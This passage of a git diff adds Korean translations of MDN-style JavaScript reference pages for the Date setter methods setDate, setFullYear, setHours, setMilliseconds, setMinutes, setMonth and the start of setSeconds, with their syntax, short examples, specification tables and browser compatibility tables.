+<p>dayValue가 해당 월의 날짜 값 범위를 벗어나면 setDate ()는 그에 따라 {{jsxref ( "Date")}} 객체를 업데이트합니다. 예를 들어, dayValue에 0이 제공되면 날짜는 이전 달의 마지막 날로 설정됩니다.</p>
+
+<h2 id="Examples">Examples</h2>
+
+<h3 id="Using_setDate()">Using <code>setDate()</code></h3>
+
+<pre class="brush: js">var theBigDay = new Date(1962, 6, 7); // 1962-07-07
+theBigDay.setDate(24);  // 1962-07-24
+theBigDay.setDate(32);  // 1962-08-01
+theBigDay.setDate(22);  // 1962-08-22</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>Initial definition. Implemented in JavaScript 1.0.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.9.5.36', 'Date.prototype.setDate')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-date.prototype.setdate', 'Date.prototype.setDate')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-date.prototype.setdate', 'Date.prototype.setDate')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{jsxref("Date.prototype.getDate()")}}</li>
+ <li>{{jsxref("Date.prototype.setUTCDate()")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/date/setfullyear/index.html b/files/ko/web/javascript/reference/global_objects/date/setfullyear/index.html
new file mode 100644
index 0000000000..f9faaca856
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/date/setfullyear/index.html
@@ -0,0 +1,133 @@
+---
+title: Date.prototype.setFullYear()
+slug: Web/JavaScript/Reference/Global_Objects/Date/setFullYear
+translation_of: Web/JavaScript/Reference/Global_Objects/Date/setFullYear
+---
+<div>{{JSRef}}</div>
+
+<p><strong>setFullYear()</strong> 메서드는 현지 시간에 따라 지정된 날짜의 전체 연도를 설정합니다. 새로운 타임 스탬프를 반환합니다.</p>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntaxbox"><code><var>dateObj</var>.setFullYear(<var>yearValue</var>[, <var>monthValue</var>[, <var>dayValue</var>]])</code></pre>
+
+<h3 id="Parameters">Parameters</h3>
+
+<dl>
+ <dt><code>yearValue</code></dt>
+ <dd>연도의 숫자 값을 지정하는 정수입니다 (예 : 1995).</dd>
+ <dt><code>monthValue</code></dt>
+ <dd>선택 과목. 1 월에서 12 월까지의 월을 나타내는 0에서 11 사이의 정수입니다.</dd>
+ <dt><code>dayValue</code></dt>
+ <dd>선택 과목. 한 달의 날짜를 나타내는 1 - 31 사이의 정수입니다. dayValue 매개 변수를 지정하는 경우 monthValue도 지정해야합니다.</dd>
+</dl>
+
+<h3 id="Return_value">Return value</h3>
+
+<p>1970 년 1 월 1 일 00:00:00 UTC와 업데이트 된 날짜 사이의 밀리 초 숫자입니다.</p>
+
+<h2 id="Description">Description</h2>
+
+<p>monthValue 및 dayValue 매개 변수를 지정하지 않으면 {{jsxref ("Date.prototype.getMonth()", "getMonth()")}} 및 {{jsxref("Date.prototype.getDate)","getDate()")}} 메소드가 사용됩니다.</p>
+
+<p>지정한 매개 변수가 예상 범위를 벗어나면 setFullYear ()가 다른 매개 변수와 {{jsxref ( "Date")}} 객체의 날짜 정보를 그에 따라 업데이트하려고 시도합니다. 예를 들어, monthValue에 15를 지정하면 연도가 1 (yearValue + 1)만큼 증가하고 3은 해당 월에 사용됩니다.</p>
+
+<h2 id="Examples">Examples</h2>
+
+<h3 id="Using_setFullYear()">Using <code>setFullYear()</code></h3>
+
+<pre class="brush: js">var theBigDay = new Date();
+theBigDay.setFullYear(1997);
+</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>Initial definition. Implemented in JavaScript 1.3.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.9.5.40', 'Date.prototype.setFullYear')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-date.prototype.setfullyear', 'Date.prototype.setFullYear')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-date.prototype.setfullyear', 'Date.prototype.setFullYear')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{jsxref("Date.prototype.getUTCFullYear()")}}</li>
+ <li>{{jsxref("Date.prototype.setUTCFullYear()")}}</li>
+ <li>{{jsxref("Date.prototype.setYear()")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/date/sethours/index.html b/files/ko/web/javascript/reference/global_objects/date/sethours/index.html
new file mode 100644
index 0000000000..cbc1d4ff32
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/date/sethours/index.html
@@ -0,0 +1,138 @@
+---
+title: Date.prototype.setHours()
+slug: Web/JavaScript/Reference/Global_Objects/Date/setHours
+translation_of: Web/JavaScript/Reference/Global_Objects/Date/setHours
+---
+<div>{{JSRef}}</div>
+
+<p>setHours () 메서드는 현지 시간에 따라 지정된 날짜의 시간을 설정하고 1970 년 1 월 1 일 00:00:00 UTC 이후 업데이트 된 {{jsxref ( "Date")}}에 의해 표시되는 시간 (밀리 초)을 반환합니다. 예.</p>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntaxbox"><code><var>dateObj</var>.setHours(<var>hoursValue</var>[, <var>minutesValue</var>[, <var>secondsValue</var>[, <var>msValue</var>]]])</code></pre>
+
+<h3 id="Versions_prior_to_JavaScript_1.3">Versions prior to JavaScript 1.3</h3>
+
+<pre class="syntaxbox"><code><var>dateObj</var>.setHours(<var>hoursValue</var>)</code></pre>
+
+<h3 id="Parameters">Parameters</h3>
+
+<dl>
+ <dt><code>hoursValue</code></dt>
+ <dd>시를 나타내는 0에서 23 사이의 정수입니다.</dd>
+ <dt><code>minutesValue</code></dt>
+ <dd>선택 과목. 분을 나타내는 0에서 59 사이의 정수입니다.</dd>
+ <dt><code>secondsValue</code></dt>
+ <dd>선택 과목. 초를 나타내는 0에서 59 사이의 정수입니다. secondsValue 매개 변수를 지정하면 minutesValue도 지정해야합니다.</dd>
+ <dt><code>msValue</code></dt>
+ <dd>선택 과목. 밀리 초를 나타내는 0에서 999 사이의 숫자입니다. msValue 매개 변수를 지정하는 경우 minutesValue 및 secondsValue도 지정해야합니다.</dd>
+</dl>
+
+<h3 id="Return_value">Return value</h3>
+
+<p>1970 년 1 월 1 일 00:00:00 UTC와 업데이트 된 날짜 사이의 밀리 초 숫자입니다.</p>
+
+<h2 id="Description">Description</h2>
+
+<p>minutesValue, secondsValue 및 msValue 매개 변수를 지정하지 않으면 {{jsxref("Date.prototype.getMinutes()", "getMinutes()")}}에서 반환 된 값, {{jsxref("Date.prototype.getSeconds()","getSeconds()")}} 및 {{jsxref("Date.prototype.getMilliseconds()","getMilliseconds()")}} 메서드가 사용됩니다.</p>
+
+<p>지정한 매개 변수가 예상 범위를 벗어나면 setHours ()는 그에 따라 {{jsxref ("Date")}} 객체의 날짜 정보를 업데이트하려고 시도합니다. 예를 들어 secondsValue에 100을 사용하면 분은 1 (minutesValue + 1)만큼 증가하고 40은 초 단위로 사용됩니다.</p>
+
+<h2 id="Examples">Examples</h2>
+
+<h3 id="Using_setHours()">Using <code>setHours()</code></h3>
+
+<pre class="brush:js">var theBigDay = new Date();
+theBigDay.setHours(7);
+</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>Initial definition. Implemented in JavaScript 1.0.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.9.5.34', 'Date.prototype.setHours')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-date.prototype.sethours', 'Date.prototype.setHours')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-date.prototype.sethours', 'Date.prototype.setHours')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{jsxref("Date.prototype.getHours()")}}</li>
+ <li>{{jsxref("Date.prototype.setUTCHours()")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/date/setmilliseconds/index.html b/files/ko/web/javascript/reference/global_objects/date/setmilliseconds/index.html
new file mode 100644
index 0000000000..d0904ae69e
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/date/setmilliseconds/index.html
@@ -0,0 +1,126 @@
+---
+title: Date.prototype.setMilliseconds()
+slug: Web/JavaScript/Reference/Global_Objects/Date/setMilliseconds
+translation_of: Web/JavaScript/Reference/Global_Objects/Date/setMilliseconds
+---
+<div>{{JSRef}}</div>
+
+<p>setMilliseconds () 메서드는 현지 시간에 따라 지정된 날짜의 밀리 초를 설정합니다.</p>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntaxbox"><code><var>dateObj</var>.setMilliseconds(<var>millisecondsValue</var>)</code></pre>
+
+<h3 id="Parameters">Parameters</h3>
+
+<dl>
+ <dt><code>millisecondsValue</code></dt>
+ <dd>밀리 초를 나타내는 0에서 999 사이의 숫자입니다.</dd>
+</dl>
+
+<h3 id="Return_value">Return value</h3>
+
+<p>1970 년 1 월 1 일 00:00:00 UTC와 업데이트 된 날짜 사이의 밀리 초 숫자입니다.</p>
+
+<h2 id="Description">Description</h2>
+
+<p>예상되는 범위를 벗어난 숫자를 지정하면 {{jsxref ( "Date")}} 객체의 날짜 정보가 그에 따라 업데이트됩니다. 예를 들어, 1005를 지정하면 초 수가 1 씩 증가하고 5는 밀리 초 단위로 사용됩니다.</p>
+
+<h2 id="Examples">Examples</h2>
+
+<h3 id="Using_setMilliseconds()">Using <code>setMilliseconds()</code></h3>
+
+<pre class="brush: js">var theBigDay = new Date();
+theBigDay.setMilliseconds(100);
+</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>Initial definition. Implemented in JavaScript 1.3.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.9.5.28', 'Date.prototype.setMilliseconds')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-date.prototype.setmilliseconds', 'Date.prototype.setMilliseconds')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-date.prototype.setmilliseconds', 'Date.prototype.setMilliseconds')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{jsxref("Date.prototype.getMilliseconds()")}}</li>
+ <li>{{jsxref("Date.prototype.setUTCMilliseconds()")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/date/setminutes/index.html b/files/ko/web/javascript/reference/global_objects/date/setminutes/index.html
new file mode 100644
index 0000000000..296923aa47
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/date/setminutes/index.html
@@ -0,0 +1,136 @@
+---
+title: Date.prototype.setMinutes()
+slug: Web/JavaScript/Reference/Global_Objects/Date/setMinutes
+translation_of: Web/JavaScript/Reference/Global_Objects/Date/setMinutes
+---
+<div>{{JSRef}}</div>
+
+<p>setMinutes () 메서드는 현지 시간에 따라 지정된 날짜의 분을 설정합니다.</p>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntaxbox"><code><var>dateObj</var>.setMinutes(<var>minutesValue</var>[, <var>secondsValue</var>[, <var>msValue</var>]])</code></pre>
+
+<h3 id="Versions_prior_to_JavaScript_1.3">Versions prior to JavaScript 1.3</h3>
+
+<pre class="syntaxbox"><code><var>dateObj</var>.setMinutes(<var>minutesValue</var>)</code></pre>
+
+<h3 id="Parameters">Parameters</h3>
+
+<dl>
+ <dt><code>minutesValue</code></dt>
+ <dd>분을 나타내는 0에서 59 사이의 정수입니다.</dd>
+ <dt><code>secondsValue</code></dt>
+ <dd>선택 과목. 초를 나타내는 0에서 59 사이의 정수입니다. secondsValue 매개 변수를 지정하면 minutesValue도 지정해야합니다.</dd>
+ <dt><code>msValue</code></dt>
+ <dd>선택 과목. 밀리 초를 나타내는 0에서 999 사이의 숫자입니다. msValue 매개 변수를 지정하는 경우 minutesValue 및 secondsValue도 지정해야합니다.</dd>
+</dl>
+
+<h3 id="Return_value">Return value</h3>
+
+<p>1970 년 1 월 1 일 00:00:00 UTC와 업데이트 된 날짜 사이의 밀리 초 숫자입니다.</p>
+
+<h2 id="Description">Description</h2>
+
+<p>secondsValue 및 msValue 매개 변수를 지정하지 않으면 {{jsxref("Date.prototype.getSeconds()", "getSeconds()")}} 및 {{jsxref ("Date.prototype.getMilliseconds ","getMilliseconds() ")}} 메소드가 사용됩니다.</p>
+
+<p>지정한 매개 변수가 예상 범위를 벗어나면 setMinutes ()는 그에 따라 {{jsxref("Date")}} 객체의 날짜 정보를 업데이트하려고 시도합니다. 예를 들어 secondsValue에 100을 사용하면 분은 1 (minutesValue + 1)만큼 증가하고 40은 초 단위로 사용됩니다.</p>
+
+<h2 id="Examples">Examples</h2>
+
+<h3 id="Using_setMinutes()">Using <code>setMinutes()</code></h3>
+
+<pre class="brush: js">var theBigDay = new Date();
+theBigDay.setMinutes(45);
+</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>Initial definition. Implemented in JavaScript 1.0.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.9.5.32', 'Date.prototype.setMinutes')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-date.prototype.setminutes', 'Date.prototype.setMinutes')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-date.prototype.setminutes', 'Date.prototype.setMinutes')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{jsxref("Date.prototype.getMinutes()")}}</li>
+ <li>{{jsxref("Date.prototype.setUTCMinutes()")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/date/setmonth/index.html b/files/ko/web/javascript/reference/global_objects/date/setmonth/index.html
new file mode 100644
index 0000000000..bd954f83e9
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/date/setmonth/index.html
@@ -0,0 +1,147 @@
+---
+title: Date.prototype.setMonth()
+slug: Web/JavaScript/Reference/Global_Objects/Date/setMonth
+translation_of: Web/JavaScript/Reference/Global_Objects/Date/setMonth
+---
+<div>{{JSRef}}</div>
+
+<p>setMonth () 메서드는 현재 설정된 연도에 따라 지정된 날짜의 월을 설정합니다.</p>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntaxbox"><code><var>dateObj</var>.setMonth(<var>monthValue</var>[, <var>dayValue</var>])</code></pre>
+
+<h3 id="Versions_prior_to_JavaScript_1.3">Versions prior to JavaScript 1.3</h3>
+
+<pre class="syntaxbox"><code><var>dateObj</var>.setMonth(<var>monthValue</var>)</code></pre>
+
+<h3 id="Parameters">Parameters</h3>
+
+<dl>
+ <dt><code>monthValue</code></dt>
+ <dd>1 월에서 12 월까지의 월을 나타내는 0에서 11 사이의 정수입니다.</dd>
+ <dt><code>dayValue</code></dt>
+ <dd>선택 과목. 한 달의 날짜를 나타내는 1에서 31 사이의 정수입니다.</dd>
+</dl>
+
+<h3 id="Return_value">Return value</h3>
+
+<p>1970 년 1 월 1 일 00:00:00 UTC와 업데이트 된 날짜 사이의 밀리 초 숫자입니다.</p>
+
+<h2 id="Description">Description</h2>
+
+<p>dayValue 매개 변수를 지정하지 않으면 {{jsxref("Date.prototype.getDate()", "getDate()")}} 메서드에서 반환 된 값이 사용됩니다.</p>
+
+<p>지정한 매개 변수가 예상 범위를 벗어나면 setMonth ()는 그에 따라 {{jsxref("Date")}} 객체의 날짜 정보를 업데이트하려고 시도합니다. 예를 들어 monthValue에 15를 사용하면 연도가 1 씩 증가하고 3은 월에 사용됩니다.</p>
+
+<p>현재 날짜가이 메서드의 동작에 영향을 미칩니다. 개념적으로 새로운 날짜를 반환하기 위해 매개 변수로 지정된 새 달의 첫 번째 날에 해당 월의 현재 날짜로 지정된 일 수를 추가합니다. 예를 들어 현재 값이 2016 년 8 월 31 일인 경우 setMonth를 1로 설정하면 2016 년 3 월 2 일에 반환됩니다. 이는 2016 년 2 월에 29 일이 있었기 때문입니다.</p>
+
+<h2 id="Examples">Examples</h2>
+
+<h3 id="Using_setMonth()">Using <code>setMonth()</code></h3>
+
+<pre class="brush: js">var theBigDay = new Date();
+theBigDay.setMonth(6);
+
+//Watch out for end of month transitions
+var endOfMonth = new Date(2016, 7, 31);
+endOfMonth.setMonth(1);
+console.log(endOfMonth); //Wed Mar 02 2016 00:00:00
+
+
+</pre>
+
+<p> </p>
+
+<p> </p>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>Initial definition. Implemented in JavaScript 1.0.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.9.5.38', 'Date.prototype.setMonth')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-date.prototype.setmonth', 'Date.prototype.setMonth')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-date.prototype.setmonth', 'Date.prototype.setMonth')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{jsxref("Date.prototype.getMonth()")}}</li>
+ <li>{{jsxref("Date.prototype.setUTCMonth()")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/date/setseconds/index.html b/files/ko/web/javascript/reference/global_objects/date/setseconds/index.html
new file mode 100644
index 0000000000..3b3ea09ead
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/date/setseconds/index.html
@@ -0,0 +1,134 @@
+---
+title: Date.prototype.setSeconds()
+slug: Web/JavaScript/Reference/Global_Objects/Date/setSeconds
+translation_of: Web/JavaScript/Reference/Global_Objects/Date/setSeconds
+---
+<div>{{JSRef}}</div>
+
+<p>setSeconds () 메서드는 현지 시간에 따라 지정된 날짜의 초를 설정합니다.</p>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntaxbox"><code><var>dateObj</var>.setSeconds(<var>secondsValue</var>[, <var>msValue</var>])</code></pre>
+
+<h3 id="Versions_prior_to_JavaScript_1.3">Versions prior to JavaScript 1.3</h3>
+
+<pre class="syntaxbox"><code><var>dateObj</var>.setSeconds(<var>secondsValue</var>)</code></pre>
+
+<h3 id="Parameters">Parameters</h3>
+
+<dl>
+ <dt><code>secondsValue</code></dt>
+ <dd>초를 나타내는 0에서 59 사이의 정수입니다.</dd>
+ <dt><code>msValue</code></dt>
+ <dd>선택 과목. 밀리 초를 나타내는 0에서 999 사이의 숫자입니다.</dd>
+</dl>
+
+<h3 id="Return_value">Return value</h3>
+
+<p>1970 년 1 월 1 일 00:00:00 UTC와 업데이트 된 날짜 사이의 밀리 초 숫자입니다.</p>
+
+<h2 id="Description">Description</h2>
+
